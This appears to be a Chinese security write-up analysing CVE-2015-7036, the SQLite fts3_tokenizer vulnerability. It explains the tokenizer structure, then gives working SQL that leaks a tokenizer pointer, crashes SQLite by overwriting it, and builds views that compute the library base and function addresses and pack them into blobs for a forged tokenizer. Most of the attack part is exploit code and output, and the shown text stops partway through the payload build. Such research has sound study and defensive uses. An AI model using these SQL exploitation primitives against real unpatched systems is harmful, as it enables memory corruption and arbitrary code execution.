CVE-2015-7036是发生在Apple iOS 8.4以前版本和 OS X 10.10.4版本以前的漏洞,原因是内置的SQLite的fts3_tokenizer函数存在任意命令执行漏洞,远程攻击者可以通过SQL命令执行任意指令或导致系统崩溃,拒绝服务
sqlite中支持fts表(full-text search的简称),fts3其实是sqlite的一个扩展模块,是虚拟表模块,允许用户使用 MATCH ‘keyword’ 查询而非 LIKE ‘%keyword%’ 子串匹配的方式实现全文检索。在实现全文搜索的过程中,对原始内容进行分词是一个必须的过程。SQLite内置的simple和porter分词器只能支持ASCII字符的英文分词,为满足不同语言的需求,SQLite 3.7.13开始引入unicode61分词器以支持unicode,并提供给开发者自行添加分词器的接口
SQLite version 3.10.22016-01-2015:27:19 Enter ".help" for usage hints. Connected to a transient in-memory database. Use ".open FILENAME" to reopen on a persistent database. sqlite>select hex(fts3_tokenizer('simple')); 201EAD70A27F0000 sqlite>
/* ** Structure version. Should always be set to 0 or 1. */ int iVersion;
/* ** Create a new tokenizer. The values in the argv[] array are the ** arguments passed to the "tokenizer" clause of the CREATE VIRTUAL ** TABLE statement that created the fts3 table. For example, if ** the following SQL is executed: ** ** CREATE .. USING fts3( ... , tokenizer <tokenizer-name> arg1 arg2) ** ** then argc is set to 2, and the argv[] array contains pointers ** to the strings "arg1" and "arg2". ** ** This method should return either SQLITE_OK (0), or an SQLite error ** code. If SQLITE_OK is returned, then *ppTokenizer should be set ** to point at the newly created tokenizer structure. The generic ** sqlite3_tokenizer.pModule variable should not be initialized by ** this callback. The caller will do so. */ int (*xCreate)( int argc, /* Size of argv array */ constchar *const*argv, /* Tokenizer argument strings */ sqlite3_tokenizer **ppTokenizer /* OUT: Created tokenizer */ );
/* ** Destroy an existing tokenizer. The fts3 module calls this method ** exactly once for each successful call to xCreate(). */ int (*xDestroy)(sqlite3_tokenizer *pTokenizer);
/* ** Create a tokenizer cursor to tokenize an input buffer. The caller ** is responsible for ensuring that the input buffer remains valid ** until the cursor is closed (using the xClose() method). */ int (*xOpen)( sqlite3_tokenizer *pTokenizer, /* Tokenizer object */ constchar *pInput, int nBytes, /* Input buffer */ sqlite3_tokenizer_cursor **ppCursor /* OUT: Created tokenizer cursor */ );
/* ** Destroy an existing tokenizer cursor. The fts3 module calls this ** method exactly once for each successful call to xOpen(). */ int (*xClose)(sqlite3_tokenizer_cursor *pCursor);
/* ** Retrieve the next token from the tokenizer cursor pCursor. This ** method should either return SQLITE_OK and set the values of the ** "OUT" variables identified below, or SQLITE_DONE to indicate that ** the end of the buffer has been reached, or an SQLite error code. ** ** *ppToken should be set to point at a buffer containing the ** normalized version of the token (i.e. after any case-folding and/or ** stemming has been performed). *pnBytes should be set to the length ** of this buffer in bytes. The input text that generated the token is ** identified by the byte offsets returned in *piStartOffset and ** *piEndOffset. *piStartOffset should be set to the index of the first ** byte of the token in the input buffer. *piEndOffset should be set ** to the index of the first byte just past the end of the token in ** the input buffer. ** ** The buffer *ppToken is set to point at is managed by the tokenizer ** implementation. It is only required to be valid until the next call ** to xNext() or xClose(). */ /* TODO(shess) current implementation requires pInput to be ** nul-terminated. This should either be fixed, or pInput/nBytes ** should be converted to zInput. */ int (*xNext)( sqlite3_tokenizer_cursor *pCursor, /* Tokenizer cursor */ constchar **ppToken, int *pnBytes, /* OUT: Normalized text for token */ int *piStartOffset, /* OUT: Byte offset of token in input buffer */ int *piEndOffset, /* OUT: Byte offset of end of token in input buffer */ int *piPosition /* OUT: Number of tokens returned before this one */ );
/*********************************************************************** ** Methods below this point are only available if iVersion>=1. */
/* ** Configure the language id of a tokenizer cursor. */ int (*xLanguageid)(sqlite3_tokenizer_cursor *pCsr, int iLangid); };
SQLite version 3.10.22016-01-2015:27:19 Enter ".help"for usage hints. Connected to a transient in-memory database. Use ".open FILENAME" to reopen on a persistent database. sqlite> select fts3_tokenizer('simple', x'4141414141414141'); AAAAAAAA sqlite> create virtual table a using fts3; fish: Job 2, “./sqlite3” terminated by signal SIGSEGV(Address boundary error)
可以看到成功crash掉了
上gdb调试看看崩溃现场
bt栈回溯:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
pwndbg> bt #0 0x00007ff5182f704b in sqlite3Fts3InitTokenizer (pHash=pHash@entry=0x564aafefdfc0, zArg=zArg@entry=0x7ff518356b6a "simple", ppTok=ppTok@entry=0x7fff8ed1c0f0, pzErr=pzErr@entry=0x7fff8ed1c228) at sqlite3.c:146285 #1 0x00007ff5183490ce in fts3InitVtab (isCreate=isCreate@entry=1, db=db@entry=0x564aafefe1e0, pAux=0x564aafefdfc0, argc=argc@entry=3, argv=argv@entry=0x564aaff10790, ppVTab=ppVTab@entry=0x564aaff0e9c0, pzErr=0x7fff8ed1c228) at sqlite3.c:138580 #2 0x00007ff518349fb4 in fts3CreateMethod (db=db@entry=0x564aafefe1e0, pAux=<optimized out>, argc=argc@entry=3, argv=argv@entry=0x564aaff10790, ppVtab=ppVtab@entry=0x564aaff0e9c0, pzErr=pzErr@entry=0x7fff8ed1c228) at sqlite3.c:138751 #3 0x00007ff5182f2638 in vtabCallConstructor (db=db@entry=0x564aafefe1e0, pTab=pTab@entry=0x564aaff122d0, pMod=0x564aafeffdf0, xConstruct=0x7ff518349f90 <fts3CreateMethod>, pzErr=pzErr@entry=0x564aaff10848) at sqlite3.c:118329 #4 0x00007ff51831e462 in sqlite3VtabCallCreate (pzErr=0x564aaff10848, zTab=<optimized out>, iDb=<optimized out>, db=0x564aafefe1e0) at sqlite3.c:118504 #5 sqlite3VdbeExec (p=<optimized out>) at sqlite3.c:14405 #6 0x00007ff518325fb8 in sqlite3Step (p=0x564aaff10800) at sqlite3.c:72356 #7 sqlite3_step (pStmt=<optimized out>) at sqlite3.c:6881 #8 sqlite3_step (pStmt=<optimized out>) at sqlite3.c:6868 #9 0x0000564aaef9b858 in shell_exec (db=0x564aafefe1e0, zSql=0x564aafefe145 "create virtual table a using fts3;", pArg=0x7fff8ed1c960, pzErrMsg=0x7fff8ed1c7d8, xCallback=0x564aaef9a900 <shell_callback>) at /home/r1nd0/Desktop/sqlite_cve/build/../sqlite-version-3.10.2/src/shell.c:1626 #10 0x0000564aaefa0e0a in process_input (p=0x7fff8ed1c960, in=0x0) at /home/r1nd0/Desktop/sqlite_cve/build/../sqlite-version-3.10.2/src/shell.c:4359 #11 0x0000564aaef97586 in main (argc=argc@entry=1, argv=argv@entry=0x7fff8ed1e018) at /home/r1nd0/Desktop/sqlite_cve/build/../sqlite-version-3.10.2/src/shell.c:4942 #12 0x00007ff518074083 in __libc_start_main (main=0x564aaef96e30 <main>, argc=1, argv=0x7fff8ed1e018, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fff8ed1e008) at ../csu/libc-start.c:308 #13 0x0000564aaef9816e in _start () at /usr/include/x86_64-linux-gnu/bits/stdio2.h:100
sqlite>createview le_leak asselect hex(fts3_tokenizer('simple')) as col; sqlite>createview leak asselect substr((select col from le_leak), -2, 2)|| ...> substr((select col from le_leak), -4, 2) || ...> substr((select col from le_leak), -6, 2) || ...> substr((select col from le_leak), -8, 2) || ...> substr((select col from le_leak), -10, 2) || ...> substr((select col from le_leak), -12, 2) || ...> substr((select col from le_leak), -14, 2) || ...> substr((select col from le_leak), -16, 2) as col; sqlite>select col from leak ...> ; 00007FE6857FBE20 sqlite>
sqlite>CREATEVIEW u64_leak ASSELECT ( ...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), 0, -1)) -1 ) * (1<<0))) + ...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -1, -1)) -1 ) * (1<<4))) + ...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -2, -1)) -1 ) * (1<<8))) + ...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -3, -1)) -1 ) * (1<<12))) + ...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -4, -1)) -1 ) * (1<<16))) + ...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -5, -1)) -1 ) * (1<<20))) + ...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -6, -1)) -1 ) * (1<<24))) + ...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -7, -1)) -1 ) * (1<<28))) + ...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -8, -1)) -1 ) * (1<<32))) + ...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -9, -1)) -1 ) * (1<<36))) + ...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -10, -1)) -1 ) * (1<<40))) + ...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -11, -1)) -1 ) * (1<<44))) + ...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -12, -1)) -1 ) * (1<<48))) + ...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -13, -1)) -1 ) * (1<<52))) + ...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -14, -1)) -1 ) * (1<<56))) + ...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -15, -1)) -1 ) * (1<<60))) ...> ) AS col; sqlite> sqlite>select col from u64_leak; 139725057834528 sqlite>
地址计算
然后计算libsqlite.so的基地址:
1 2 3 4 5 6
sqlite>CREATEVIEW u64_libsqlite_base ASSELECT ( ...> (SELECT col FROM u64_leak) - (SELECT'810528') ...> ) AS col; sqlite>SELECT col FROM u64_libsqlite_base; 139725057024000 sqlite>
struct sqlite3_tokenizer_module { int iVersion; int (*xCreate)( int argc, /* Size of argv array */ const char*const*argv, /* Tokenizer argument strings */ sqlite3_tokenizer **ppTokenizer /* OUT: Created tokenizer */ ); int (*xDestroy)(sqlite3_tokenizer *pTokenizer); int (*xOpen)( sqlite3_tokenizer *pTokenizer, /* Tokenizer object */ const char*pInput, int nBytes, /* Input buffer */ sqlite3_tokenizer_cursor **ppCursor /* OUT: Created tokenizer cursor */ ); int (*xClose)(sqlite3_tokenizer_cursor *pCursor); int (*xNext)( sqlite3_tokenizer_cursor *pCursor, /* Tokenizer cursor */ const char**ppToken, int*pnBytes, /* OUT: Normalized text for token */ int*piStartOffset, /* OUT: Byte offset of token in input buffer */ int*piEndOffset, /* OUT: Byte offset of end of token in input buffer */ int*piPosition /* OUT: Number of tokens returned before this one */ ); int (*xLanguageid)(sqlite3_tokenizer_cursor *pCsr, int iLangid); };
相关函数地址计算:
1 2 3 4 5 6 7 8 9 10 11
sqlite>CREATEVIEW u64_simple_create ASSELECT ( ...> (SELECT col FROM u64_libsqlite_base) + (SELECT'164624') ...> ) AS col; sqlite>SELECT col FROM u64_simple_create; 140069968245520 sqlite>CREATEVIEW u64_simple_destroy ASSELECT ( ...> (SELECT col FROM u64_libsqlite_base) + (SELECT'137952') ...> ) AS col; sqlite>SELECT col FROM u64_simple_destroy; 140069968218848 sqlite>
CREATEVIEW p64_simple_create ASSELECTcast ( (SELECT val FROM hex_map WHEREint= ((SELECT col FROM u64_simple_create) / (1<<0) %256)) || (SELECT val FROM hex_map WHEREint= ((SELECT col FROM u64_simple_create) / (1<<8) %256)) || (SELECT val FROM hex_map WHEREint= ((SELECT col FROM u64_simple_create) / (1<<16) %256)) || (SELECT val FROM hex_map WHEREint= ((SELECT col FROM u64_simple_create) / (1<<24) %256)) || (SELECT val FROM hex_map WHEREint= ((SELECT col FROM u64_simple_create) / (1<<32) %256)) || (SELECT val FROM hex_map WHEREint= ((SELECT col FROM u64_simple_create) / (1<<40) %256)) || (SELECT val FROM hex_map WHEREint= ((SELECT col FROM u64_simple_create) / (1<<48) %256)) || (SELECT val FROM hex_map WHEREint= ((SELECT col FROM u64_simple_create) / (1<<56) %256)) ASBLOB) AS col;
CREATEVIEW p64_simple_destroy ASSELECTcast ( (SELECT val FROM hex_map WHEREint= ((SELECT col FROM u64_simple_destroy) / (1<<0) %256)) || (SELECT val FROM hex_map WHEREint= ((SELECT col FROM u64_simple_destroy) / (1<<8) %256)) || (SELECT val FROM hex_map WHEREint= ((SELECT col FROM u64_simple_destroy) / (1<<16) %256)) || (SELECT val FROM hex_map WHEREint= ((SELECT col FROM u64_simple_destroy) / (1<<24) %256)) || (SELECT val FROM hex_map WHEREint= ((SELECT col FROM u64_simple_destroy) / (1<<32) %256)) || (SELECT val FROM hex_map WHEREint= ((SELECT col FROM u64_simple_destroy) / (1<<40) %256)) || (SELECT val FROM hex_map WHEREint= ((SELECT col FROM u64_simple_destroy) / (1<<48) %256)) || (SELECT val FROM hex_map WHEREint= ((SELECT col FROM u64_simple_destroy) / (1<<56) %256)) ASBLOB) AS col;